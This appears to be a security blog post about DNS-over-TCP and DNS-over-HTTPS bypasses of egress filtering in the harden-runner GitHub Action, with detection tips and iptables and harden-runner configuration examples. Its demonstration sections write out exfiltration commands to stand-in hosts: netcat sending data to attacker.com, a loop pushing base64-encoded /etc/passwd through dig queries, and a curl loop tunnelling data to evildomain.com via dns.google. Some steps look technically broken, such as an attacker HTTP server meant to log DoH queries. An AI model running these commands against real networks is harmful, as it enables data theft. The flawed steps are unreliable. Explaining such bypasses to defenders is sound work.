Listen to this Post
Introduction:
Egress filtering is a fundamental security control that restricts outbound traffic from internal networks to only essential services, preventing data exfiltration and command‑and‑control communication. However, recent research by Devansh Batham reveals two novel bypasses in the `harden‑runner` environment—leveraging DNS over TCP and DNS over HTTPS (DoH)—that can circumvent these policies. These techniques highlight how attackers can abuse trusted protocols to sneak data past firewalls, even when egress rules are strictly enforced. Understanding these methods is critical for defenders to harden their networks and update detection mechanisms.
Learning Objectives:
- Understand the principles of egress filtering and how DNS protocols can be abused.
- Learn step‑by‑step how DNS over TCP and DNS over HTTPS can bypass egress blocks.
- Acquire practical commands and configurations to simulate, detect, and mitigate these bypass techniques.
You Should Know
1. Egress Filtering Basics and DNS Fundamentals
Egress filtering monitors and controls outgoing traffic based on port, protocol, and destination. Typically, outbound DNS (UDP 53) is allowed to enable name resolution, while other ports are restricted. However, attackers can repurpose DNS to tunnel data or proxy traffic.
DNS traditionally uses UDP for queries, but falls back to TCP when responses exceed 512 bytes (or for zone transfers). Many firewalls also permit TCP 53 for such cases. DNS over HTTPS (DoH) encrypts DNS queries within HTTPS traffic on port 443, making it indistinguishable from regular web traffic.
Key commands to inspect DNS traffic:
– `tcpdump -ni any port 53` – Capture DNS traffic on UDP/TCP 53.
– `ss -tulpn | grep :53` – Check listening DNS services.
– `dig google.com A +tcp` – Force DNS query over TCP.
- Bypass via DNS over TCP: How It Works
The first technique exploits the common allowance of TCP port 53 for DNS. Even if an egress policy blocks all non‑essential ports, TCP 53 may remain open. An attacker can encapsulate any data inside DNS messages over TCP, effectively creating a covert channel.
Step‑by‑step demonstration (Linux):
- Set up a listener on an external server (attacker‑controlled) on TCP 53:
`nc -lvp 53`
- From the compromised internal host, send data using a tool like `dnscat2` or even `netcat` if TCP 53 is open:
`echo “sensitive_data” | nc attacker.com 53`
- To make it look like legitimate DNS, use a DNS‑tunneling tool:
`dnscat2 –dns server=attacker.com,port=53` (client side)
Many firewalls only inspect UDP DNS; TCP streams may pass unchecked. This technique can exfiltrate files or establish a remote shell.
Mitigation: Restrict outbound TCP 53 to only trusted recursive resolvers, and inspect DNS payloads for anomalies (e.g., long subdomains, base64 encoding).
- Bypass via DNS over HTTPS (DoH) Using Google’s Resolver
The second method uses DNS over HTTPS, which runs on port 443—typically open for web access. By proxying DNS queries through Google’s public DoH resolver (`https://dns.google/dns-query`), an attacker can hide DNS traffic inside encrypted HTTPS sessions, evading deep packet inspection.
Step‑by‑step demonstration:
- On the compromised host, use `curl` to send a DoH query:
curl -H "accept: application/dns-json" \ "https://dns.google/dns-query?name=example.com&type=A"
- To tunnel arbitrary data, an attacker can encode data in the domain name field. For example:
`https://dns.google/dns-query?name=exfil-data.base64.example.com&type=TXT` - The response can contain data in TXT records, allowing bidirectional communication.
Tools like `dnscat2` also support DoH tunnels. This bypass is stealthy because traffic blends with normal HTTPS.
Detection: Monitor for frequent queries to public DoH resolvers (e.g., dns.google, cloudflare-dns.com) and analyze DNS query patterns for encoded data.
4. Practical Commands to Simulate and Test Bypasses
To assess your own network’s exposure, you can simulate these bypasses using common Linux tools.
Simulating DNS over TCP exfiltration:
- Extract data and send via TCP 53:
`tar czf – /etc/passwd | base64 | while read line; do dig +tcp @attacker.com $line.data.com; done`
(This sends each chunk as a subdomain query.)
Simulating DoH tunneling:
- Use `dog` (a DoH client) or `curl` to repeatedly query unique domains:
for i in {1..100}; do curl -s "https://dns.google/dns-query?name=chunk$i.$(base64 /dev/urandom | head -c20).evildomain.com&type=A" > /dev/null done
On the attacker side, set up a simple HTTP server to log DoH queries:
python3 -m http.server 80
Then monitor logs for encoded data.
5. Detection and Mitigation Strategies
Detection:
- DNS traffic analysis: Use Zeek (Bro) or Suricata to log all DNS queries. Look for high entropy in domain names, long subdomains, or unusual record types (TXT, NULL).
- NetFlow analysis: Identify unexpected outbound connections to TCP 53 or 443 destined to public DoH providers.
- Endpoint detection: Monitor processes making DNS queries directly to external resolvers (bypassing local DNS).
Mitigation:
- Strict egress filtering: Block outbound TCP 53 except to specific internal DNS servers. For UDP 53, allow only to authorized resolvers.
- DoH blocking: Add firewall rules to block access to known DoH providers (e.g., by IP ranges or domain names). Use TLS inspection to block encrypted DNS if possible.
- DNS response inspection: Deploy solutions that detect tunneling (e.g., Cisco Umbrella, Infoblox).
- Network segmentation: Isolate sensitive systems and force all DNS through controlled forwarders.
Linux iptables example to block outbound DoH:
iptables -A OUTPUT -p tcp --dport 443 -d 8.8.8.8,8.8.4.4 -j DROP iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8,8.8.4.4 -j DROP
(Block Google DNS; adjust for other providers.)
6. Hardening the `harden-runner` Environment
The research specifically targets harden-runner, a GitHub Action that enforces egress policies in CI/CD pipelines. The bypasses discovered (CVEs pending) show that even hardened environments can be vulnerable if DNS protocols are not fully locked down.
Recommended configurations for `harden-runner` users:
- Disable outbound DNS entirely unless absolutely needed. Use a local DNS cache within the runner.
- If DNS is required, force all queries through a dedicated forwarder with logging and anomaly detection.
- Apply network policies that block TCP 53 and restrict UDP 53 to known resolvers only.
- Use the `egress-policy: block` setting and explicitly allow only essential destinations via
allowed-endpoints.
Example `harden-runner` configuration snippet:
- uses: step-security/harden-runner@v2 with: egress-policy: block allowed-endpoints: > github.com:443 api.github.com:443 internal-dns.local:53
7. Future Attack Vectors and Defensive Evolution
These bypasses underscore a broader trend: attackers will continue to exploit trusted protocols. With the rise of DNS over TLS (DoT) and DoH, traditional DNS monitoring becomes harder. Defenders must adopt multi‑layered strategies:
– Encrypted DNS inspection: Use next‑gen firewalls that can decrypt and inspect TLS traffic (with user consent).
– Behavioral analytics: Baseline normal DNS patterns and alert on anomalies.
– Zero Trust principles: Never trust any protocol implicitly; authenticate and authorize all outbound connections.
What Undercode Say:
- Egress filtering must go beyond simple port blocking; deep inspection of allowed protocols is essential.
- DNS over TCP and DoH are dual‑use—they provide privacy and resilience but also create covert channels.
- Continuous testing and red‑teaming (like these bypasses) reveal gaps that standard configurations miss.
- The discovered CVEs in `harden-runner` highlight that even security‑focused CI/CD tools require regular updates and stricter policies.
- Mitigation requires a combination of firewall rules, endpoint monitoring, and DNS‑layer analytics.
Prediction:
As more organizations adopt encrypted DNS, attackers will increasingly weaponize DoH and DoT for data exfiltration. We will see a surge in detection tools focused on encrypted DNS traffic analysis, and regulatory pressures may force enterprises to intercept and inspect DoH at the network edge. The cat‑and‑mouse game will intensify, with defenders moving toward AI‑driven anomaly detection to catch subtle tunneling patterns.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Devansh Batham – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
